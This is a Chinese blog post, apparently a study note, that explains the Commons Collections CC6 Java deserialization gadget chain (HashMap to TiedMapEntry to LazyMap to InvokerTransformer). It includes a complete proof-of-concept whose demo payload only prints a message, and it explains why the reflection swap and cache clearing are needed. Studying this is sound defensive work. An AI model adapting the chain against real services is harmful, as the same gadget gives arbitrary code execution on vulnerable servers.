当前位置: 首页 > news >正文

CC6_TiedMapEntry 链反序列化

CC6_TiedMapEntry 链反序列化

前言

import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6Demo {public static void main(String[] args) throws Exception {// 1. 构造 ChainedTransformer 链,打印信息验证漏洞触发ChainedTransformer chain = new ChainedTransformer(new org.apache.commons.collections4.Transformer[]{new ConstantTransformer(System.class),new InvokerTransformer("getField", new Class[]{String.class}, new Object[]{"out"}),new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null}),new InvokerTransformer("println", new Class[]{String.class}, new Object[]{"CC6 反序列化漏洞触发成功!"})});// 2. 先创建 LazyMap,使用无害的 factoryMap<Object, Object> lazyMap = LazyMap.lazyMap(new HashMap<>(), new ConstantTransformer(1));// 3. 创建 TiedMapEntry,将 key 设置为任意值TiedMapEntry entry = new TiedMapEntry(lazyMap, "test");// 4. 创建 HashMap 并 put entryMap<Object, Object> hashMap = new HashMap<>();hashMap.put(entry, "value");// 5. 反射修改 lazyMap 的 factory 为恶意的 chainField factoryField = LazyMap.class.getDeclaredField("factory");factoryField.setAccessible(true);factoryField.set(lazyMap, chain);// 6. 清除 LazyMap 内部缓存,确保反序列化时键不存在// 注意:LazyMap 继承自 AbstractMapDecorator,内部 map 字段在父类中Field mapField = LazyMap.class.getSuperclass().getDeclaredField("map");mapField.setAccessible(true);Map<?, ?> innerMap = (Map<?, ?>) mapField.get(lazyMap);innerMap.clear();System.out.println("已清除 LazyMap 内部缓存");// 验证 factory 是否已正确设置Object factory = factoryField.get(lazyMap);System.out.println("LazyMap factory 类型: " + factory.getClass().getName());// 7. 序列化ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(hashMap);oos.close();System.out.println("序列化完成,字节长度: " + baos.size());// 8. 反序列化,触发漏洞System.out.println("反序列化开始...");ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());ObjectInputStream ois = new ObjectInputStream(bais);Object obj = ois.readObject();ois.close();System.out.println("反序列化完成: " + obj);// 9. 验证漏洞触发链System.out.println("\n=== 验证漏洞触发链 ===");// 创建新的 LazyMap 和 TiedMapEntry 来验证触发链Map<Object, Object> newLazyMap = LazyMap.lazyMap(new HashMap<>(), chain);TiedMapEntry newEntry = new TiedMapEntry(newLazyMap, "test2");System.out.println("触发 TiedMapEntry.hashCode()...");newEntry.hashCode();System.out.println("\n=== 漏洞触发链验证完成 ===");}
}

这是本次分析CC6反序列化所需要的代码

这个链子和CC1 LazyMap有什么区别?

LazyMap链依赖 AnnotationInvocationHandler 在反序列化时遍历成员变量触发 LazyMap.get(),但该入口在 JDK 8u71 后被修复,导致链失效;而 CC6 改用 HashMap 反序列化时自动计算 TiedMapEntryhashCode(),进而调用 LazyMap.get(),不依赖特定 JDK 版本,兼容性更好,但需要在构造时额外通过反射删除 LazyMap 中已缓存的 key,以确保反序列化时能触发factory.transform()

入口出发点

CC1 (LazyMap)入口是 AnnotationInvocationHandlerreadObject

CC6 入口是 HashMapreadObject,通过 TiedMapEntry 作为桥梁。

Gadget Chain

HashMap.readObject()-> HashMap.hash(key)-> TiedMapEntry.hashCode()-> TiedMapEntry.getValue()-> LazyMap.get(key)-> factory.transform(key)      // 此处触发恶意 Transformer-> ChainedTransformer.transform()-> ConstantTransformer-> InvokerTransformer...-> 命令执行

环境说明

JDK 版本 :JDK 1.8.0_65
Commons Collections 版本 :4.0

漏洞分析

第一层

ChainedTransformer chain = new ChainedTransformer(new org.apache.commons.collections4.Transformer[]{new ConstantTransformer(System.class),new InvokerTransformer("getField", new Class[]{String.class}, new Object[]{"out"}),new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null}),new InvokerTransformer("println", new Class[]{String.class}, new Object[]{"CC6 反序列化漏洞触发成功!"})
});

此处和CC1的是一样的就不过多赘述了。

第二层

// 2. 先创建 LazyMap,使用无害的 factory
Map<Object, Object> lazyMap = LazyMap.lazyMap(new HashMap<>(), new ConstantTransformer(1));// 3. 创建 TiedMapEntry,将 key 设置为任意值
TiedMapEntry entry = new TiedMapEntry(lazyMap, "test");// 4. 创建 HashMap 并 put entry
Map<Object, Object> hashMap = new HashMap<>();
hashMap.put(entry, "value");

这里就是CC6相比CC1的最精妙的改动,这里加入了TiedMapEntry构造一种延迟触发的策略,用来欺骗本地JVM,防止 Payload 还没构造完成就触发了恶意代码。

为什么这么说呢让我们来梳理一下

我们首先回顾一下在 CC1(LazyMap 链)中,我们构造 Payload 时通常先创建 LazyMap,然后将其交给 AnnotationInvocationHandler,最后序列化。这个过程不会意外触发 LazyMap.get(),因为 AnnotationInvocationHandler 的构造和序列化都不需要调用 get

但是如果我们CC6改用了 HashMap 作为入口

// 若直接使用恶意 factory,构造时就会触发命令
Map<Object, Object> lazyMap = LazyMap.lazyMap(new HashMap<>(), chain); // 恶意链
TiedMapEntry entry = new TiedMapEntry(lazyMap, "test");
Map<Object, Object> hashMap = new HashMap<>();
hashMap.put(entry, "value"); // 这里会立即执行命令

HashMap 需要确定将 entry 这个键放在哪个桶里,所以必须先调用 entry.hashCode() 来获取哈希值。

我们来看一下hashCode() 方法的定义

public int hashCode() {final Object value = getValue();return (getKey() == null ? 0 : getKey().hashCode()) ^(value == null ? 0 : value.hashCode());}

但是 getValue() 方法是这样的

public Object getValue() {return map.get(key);
}

所以 hashCode() 实际会调用 map.get(key),这里的 map 就是你传入的 LazyMapkey 就是构造 TiedMapEntry 时指定的内容。

hashMap.put(entry, "value")→ entry.hashCode()→ entry.getValue()→ lazyMap.get("test")→ 如果 "test" 不在缓存中,调用 factory.transform("test")→ 若 factory 是 ChainedTransformer,则执行命令

第三层

// 5. 反射修改 lazyMap 的 factory 为恶意的 chain
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chain);// 6. 清除 LazyMap 内部缓存,确保反序列化时键不存在
// 注意:LazyMap 继承自 AbstractMapDecorator,内部 map 字段在父类中
Field mapField = LazyMap.class.getSuperclass().getDeclaredField("map");
mapField.setAccessible(true);
Map<?, ?> innerMap = (Map<?, ?>) mapField.get(lazyMap);
innerMap.clear();   // 清空所有缓存,包括 key "test"
System.out.println("已清除 LazyMap 内部缓存");// 验证 factory 是否已正确设置
Object factory = factoryField.get(lazyMap);
System.out.println("LazyMap factory 类型: " + factory.getClass().getName());

这一段主要的作用是通过反射将ChainedTransformer替换掉原先为了防止意外发生的 factory ,并且清除了缓存。

为什么要清除缓存呢?

让我们回看代码

public Object get(Object key) {// 检查底层的 Map 缓存里是否已经有了这个 keyif (map.containsKey(key) == false) {// 【关键点】只有不存在时,才会调用 factory 里的 Transformer!Object value = factory.transform(key); map.put(key, value); // 然后把结果存进去,下次就不调了return value;}// 如果 key 已经存在,直接返回缓存里的值,不执行 transformreturn map.get(key);
}

这里是LazyMap 内部的源码逻辑,重点在于Map内部为空的时候我们的整套攻击链子才能实现,但是我们之前的代码出现了问题。

Map<Object, Object> hashMap = new HashMap<>();
hashMap.put(entry, "value");

这里产生了一系列的连锁反应

1.HashMap 调用 entry.hashCode()

2.entry 调用 lazyMap.get("test")

3.lazyMap 发现没有 "test",于是调用了当时那个无害的 ConstantTransformer(1)

最终我们会发现lazyMap内部的Map存入了一个键值对:{"test": 1}。。如果不清除缓存,在服务器发序列化的时候,由于Map内部已经存在test所以就不会在调用ChainedTransformer了。

灵魂思考

1. 问题:HashMap.readObjectTiedMapEntry.hashCode 的行为在不同 JDK 版本中是否存在细微差异?

2. 问题:HashMap.readObject 究竟是如何处理每个键的?如果键是其他对象,也会调用其 hashCode 吗?

3. 问题:清除了 LazyMap 内部的 Map,但 TiedMapEntry 对象已经序列化,它的 keymap 引用是如何保存的?

3.1 追问:反序列化后这些引用是否还指向同一个 LazyMap 实例?如果没有 innerMap.clear(),反序列化时还会触发命令吗?

4.为什么不能一开始就直接用 ChainedTransformer 作为 factory?非要先用无害 factory,put 之后再反射替换?

http://www.gsyq.cn/news/1292407.html

相关文章:

  • 2026年宁波名包名表黄金一站式回收攻略——五家门店深度解析 - 宁波早知道
  • 别再到处找3D模型了!用AD17自带的3D Body,5分钟搞定一个简易PCB封装
  • 5分钟搭建专业FiveM服务器:txAdmin终极管理平台完全指南
  • 基于Agen项目构建个人AI代理:从LLM原理到邮件处理实战
  • 从洗衣服到写CPU:用生活例子帮你彻底搞懂RISC-V流水线原理
  • MAA助手:解放双手的明日方舟全自动游戏管理工具实战指南
  • ARM Cortex-A72 GICv3中断处理机制与优化实践
  • LiveDraw:终极屏幕实时绘图工具,告别截图标注的烦恼
  • 告别手动复制粘贴!用CAPL文件函数自动处理CANoe测试数据(附完整脚本)
  • 开源CAN总线分析工具Cangaroo:从数据流到可读信号的完整解决方案
  • 如何用OpenVINO AI插件在本地电脑上实现专业级音频处理:5个功能让你成为音频编辑高手
  • 【C++】哈希表的实现(链地址法)
  • 告别DLL地狱:VisualCppRedist AIO一站式解决Windows运行库依赖难题
  • Cool-Request全局请求头配置终极指南:告别重复配置的API测试新体验
  • RP2040内置温度传感器开发指南:从原理到实践
  • LiveDraw:Windows平台实时屏幕标注工具的完整使用指南
  • Cursor Pro破解终极指南:3种简单方法实现AI编程助手永久免费使用
  • tchMaterial-parser:3分钟掌握国家中小学智慧教育平台电子课本免费下载的完整指南
  • 免费专业级渲染器:Radeon ProRender Blender插件完整指南
  • 如何快速实现设计到动效的无缝转换:AEUX免费工具的完整指南
  • Polymarket预测市场自动化交易机器人:架构、策略与部署指南
  • 对比按需调用与Token Plan套餐在长期项目中的成本体感
  • 如何永久免费使用Cursor AI:Cursor Free VIP的终极破解指南
  • RISC-V PMP配置不当引发栈溢出:嵌入式内存保护调试实战
  • LSM6DS3TR-C与磁力计融合:Mahony算法实现高精度姿态解算
  • 明日方舟终极自动化助手:MAA智能辅助工具完整实战指南
  • 手把手教你用Python+statsmodels做广告效果归因:从数据清洗、建模到剔除无效渠道(附完整代码)
  • 基于Stable Diffusion与ControlNet的AI图像编辑工作室:架构、工作流与调优实践
  • Path of Building终极指南:流放之路Build规划完整教程
  • WeChatPad终极指南:三步实现微信双设备登录的简单方案